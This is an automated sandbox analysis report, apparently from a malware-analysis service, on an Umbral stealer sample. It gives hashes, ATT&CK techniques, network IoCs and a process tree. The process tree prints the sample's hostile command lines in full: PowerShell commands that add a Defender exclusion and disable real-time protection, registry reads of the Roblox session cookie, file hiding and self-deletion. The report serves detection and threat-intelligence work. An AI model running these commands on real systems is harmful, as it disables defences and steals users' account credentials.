umbral | bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
04/09/2024, 02:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe
Size

231KB
MD5

447297048bf59e02973e2a92506bcf82
SHA1

2ed1aca8f40418d12f99675157b89e1d2d26ebb0
SHA256

bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc
SHA512

34c14cfb4baeab9bc45445f4167c90d1c362df04ab185a69676088011dfb3f9f78e951ece9986f42fb6ec6d31f22f7dc012d2ccbf8cf02ef0261c8aa698eaf76
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4VDTfGELns8d42X3Wo1b8e1mOi:joZtL+EP8VDTfGELns8d42X3Wk0

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2272-1-0x0000000000CB0000-0x0000000000CF0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2836	powershell.exe
2980	powershell.exe
2688	powershell.exe
2240	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe

Deletes itself 1 IoCs

pid	Process
2164	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2164	cmd.exe
2224	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2052	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2224	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe
2836	powershell.exe
2980	powershell.exe
2688	powershell.exe
2932	powershell.exe
2240	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe
Token: SeIncreaseQuotaPrivilege	2500	wmic.exe
Token: SeSecurityPrivilege	2500	wmic.exe
Token: SeTakeOwnershipPrivilege	2500	wmic.exe
Token: SeLoadDriverPrivilege	2500	wmic.exe
Token: SeSystemProfilePrivilege	2500	wmic.exe
Token: SeSystemtimePrivilege	2500	wmic.exe
Token: SeProfSingleProcessPrivilege	2500	wmic.exe
Token: SeIncBasePriorityPrivilege	2500	wmic.exe
Token: SeCreatePagefilePrivilege	2500	wmic.exe
Token: SeBackupPrivilege	2500	wmic.exe
Token: SeRestorePrivilege	2500	wmic.exe
Token: SeShutdownPrivilege	2500	wmic.exe
Token: SeDebugPrivilege	2500	wmic.exe
Token: SeSystemEnvironmentPrivilege	2500	wmic.exe
Token: SeRemoteShutdownPrivilege	2500	wmic.exe
Token: SeUndockPrivilege	2500	wmic.exe
Token: SeManageVolumePrivilege	2500	wmic.exe
Token: 33	2500	wmic.exe
Token: 34	2500	wmic.exe
Token: 35	2500	wmic.exe
Token: SeIncreaseQuotaPrivilege	2500	wmic.exe
Token: SeSecurityPrivilege	2500	wmic.exe
Token: SeTakeOwnershipPrivilege	2500	wmic.exe
Token: SeLoadDriverPrivilege	2500	wmic.exe
Token: SeSystemProfilePrivilege	2500	wmic.exe
Token: SeSystemtimePrivilege	2500	wmic.exe
Token: SeProfSingleProcessPrivilege	2500	wmic.exe
Token: SeIncBasePriorityPrivilege	2500	wmic.exe
Token: SeCreatePagefilePrivilege	2500	wmic.exe
Token: SeBackupPrivilege	2500	wmic.exe
Token: SeRestorePrivilege	2500	wmic.exe
Token: SeShutdownPrivilege	2500	wmic.exe
Token: SeDebugPrivilege	2500	wmic.exe
Token: SeSystemEnvironmentPrivilege	2500	wmic.exe
Token: SeRemoteShutdownPrivilege	2500	wmic.exe
Token: SeUndockPrivilege	2500	wmic.exe
Token: SeManageVolumePrivilege	2500	wmic.exe
Token: 33	2500	wmic.exe
Token: 34	2500	wmic.exe
Token: 35	2500	wmic.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeIncreaseQuotaPrivilege	768	wmic.exe
Token: SeSecurityPrivilege	768	wmic.exe
Token: SeTakeOwnershipPrivilege	768	wmic.exe
Token: SeLoadDriverPrivilege	768	wmic.exe
Token: SeSystemProfilePrivilege	768	wmic.exe
Token: SeSystemtimePrivilege	768	wmic.exe
Token: SeProfSingleProcessPrivilege	768	wmic.exe
Token: SeIncBasePriorityPrivilege	768	wmic.exe
Token: SeCreatePagefilePrivilege	768	wmic.exe
Token: SeBackupPrivilege	768	wmic.exe
Token: SeRestorePrivilege	768	wmic.exe
Token: SeShutdownPrivilege	768	wmic.exe
Token: SeDebugPrivilege	768	wmic.exe
Token: SeSystemEnvironmentPrivilege	768	wmic.exe
Token: SeRemoteShutdownPrivilege	768	wmic.exe
Token: SeUndockPrivilege	768	wmic.exe
Token: SeManageVolumePrivilege	768	wmic.exe
Token: 33	768	wmic.exe
Token: 34	768	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2500	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	31
PID 2272 wrote to memory of 2500	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	31
PID 2272 wrote to memory of 2500	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	31
PID 2272 wrote to memory of 2808	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	34
PID 2272 wrote to memory of 2808	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	34
PID 2272 wrote to memory of 2808	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	34
PID 2272 wrote to memory of 2836	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	36
PID 2272 wrote to memory of 2836	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	36
PID 2272 wrote to memory of 2836	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	36
PID 2272 wrote to memory of 2980	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	38
PID 2272 wrote to memory of 2980	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	38
PID 2272 wrote to memory of 2980	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	38
PID 2272 wrote to memory of 2688	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	40
PID 2272 wrote to memory of 2688	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	40
PID 2272 wrote to memory of 2688	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	40
PID 2272 wrote to memory of 2932	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	42
PID 2272 wrote to memory of 2932	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	42
PID 2272 wrote to memory of 2932	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	42
PID 2272 wrote to memory of 768	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	44
PID 2272 wrote to memory of 768	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	44
PID 2272 wrote to memory of 768	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	44
PID 2272 wrote to memory of 2364	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	46
PID 2272 wrote to memory of 2364	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	46
PID 2272 wrote to memory of 2364	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	46
PID 2272 wrote to memory of 316	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	48
PID 2272 wrote to memory of 316	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	48
PID 2272 wrote to memory of 316	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	48
PID 2272 wrote to memory of 2240	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	50
PID 2272 wrote to memory of 2240	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	50
PID 2272 wrote to memory of 2240	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	50
PID 2272 wrote to memory of 2052	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	52
PID 2272 wrote to memory of 2052	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	52
PID 2272 wrote to memory of 2052	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	52
PID 2272 wrote to memory of 2164	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	54
PID 2272 wrote to memory of 2164	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	54
PID 2272 wrote to memory of 2164	2272	bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe	54
PID 2164 wrote to memory of 2224	2164	cmd.exe	56
PID 2164 wrote to memory of 2224	2164	cmd.exe	56
PID 2164 wrote to memory of 2224	2164	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2808	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe
"C:\Users\Admin\AppData\Local\Temp\bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe"
  2⤵
  - Views/modifies file attributes
  PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:768
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2364
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2240
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2052
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2227f3501bf4c2426bb12646762d95b5

SHA1
a379bc013894c61fe840a7bb272c4807a608f138

SHA256
d7e55bb0b3a45d84dd2fc387d74a0266507724a6f42bc8d204b32da289750254

SHA512
0e7c74405975bb638e2d539f60ca15adac785eb711675a83cb61fd70023cdf80a89f45356fef0489db2d97cab8a669e68e98619011c8b3fc3684bb9dc1431e29

Download Submit
memory/2240-43-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2272-0-0x000007FEF5E03000-0x000007FEF5E04000-memory.dmp

Filesize
4KB

Download
memory/2272-1-0x0000000000CB0000-0x0000000000CF0000-memory.dmp

Filesize
256KB

Download
memory/2272-2-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

Filesize
9.9MB

Download
memory/2272-45-0x000007FEF5E03000-0x000007FEF5E04000-memory.dmp

Filesize
4KB

Download
memory/2272-48-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

Filesize
9.9MB

Download
memory/2836-7-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2836-8-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2980-14-0x000000001B800000-0x000000001BAE2000-memory.dmp

Filesize
2.9MB

Download
memory/2980-15-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download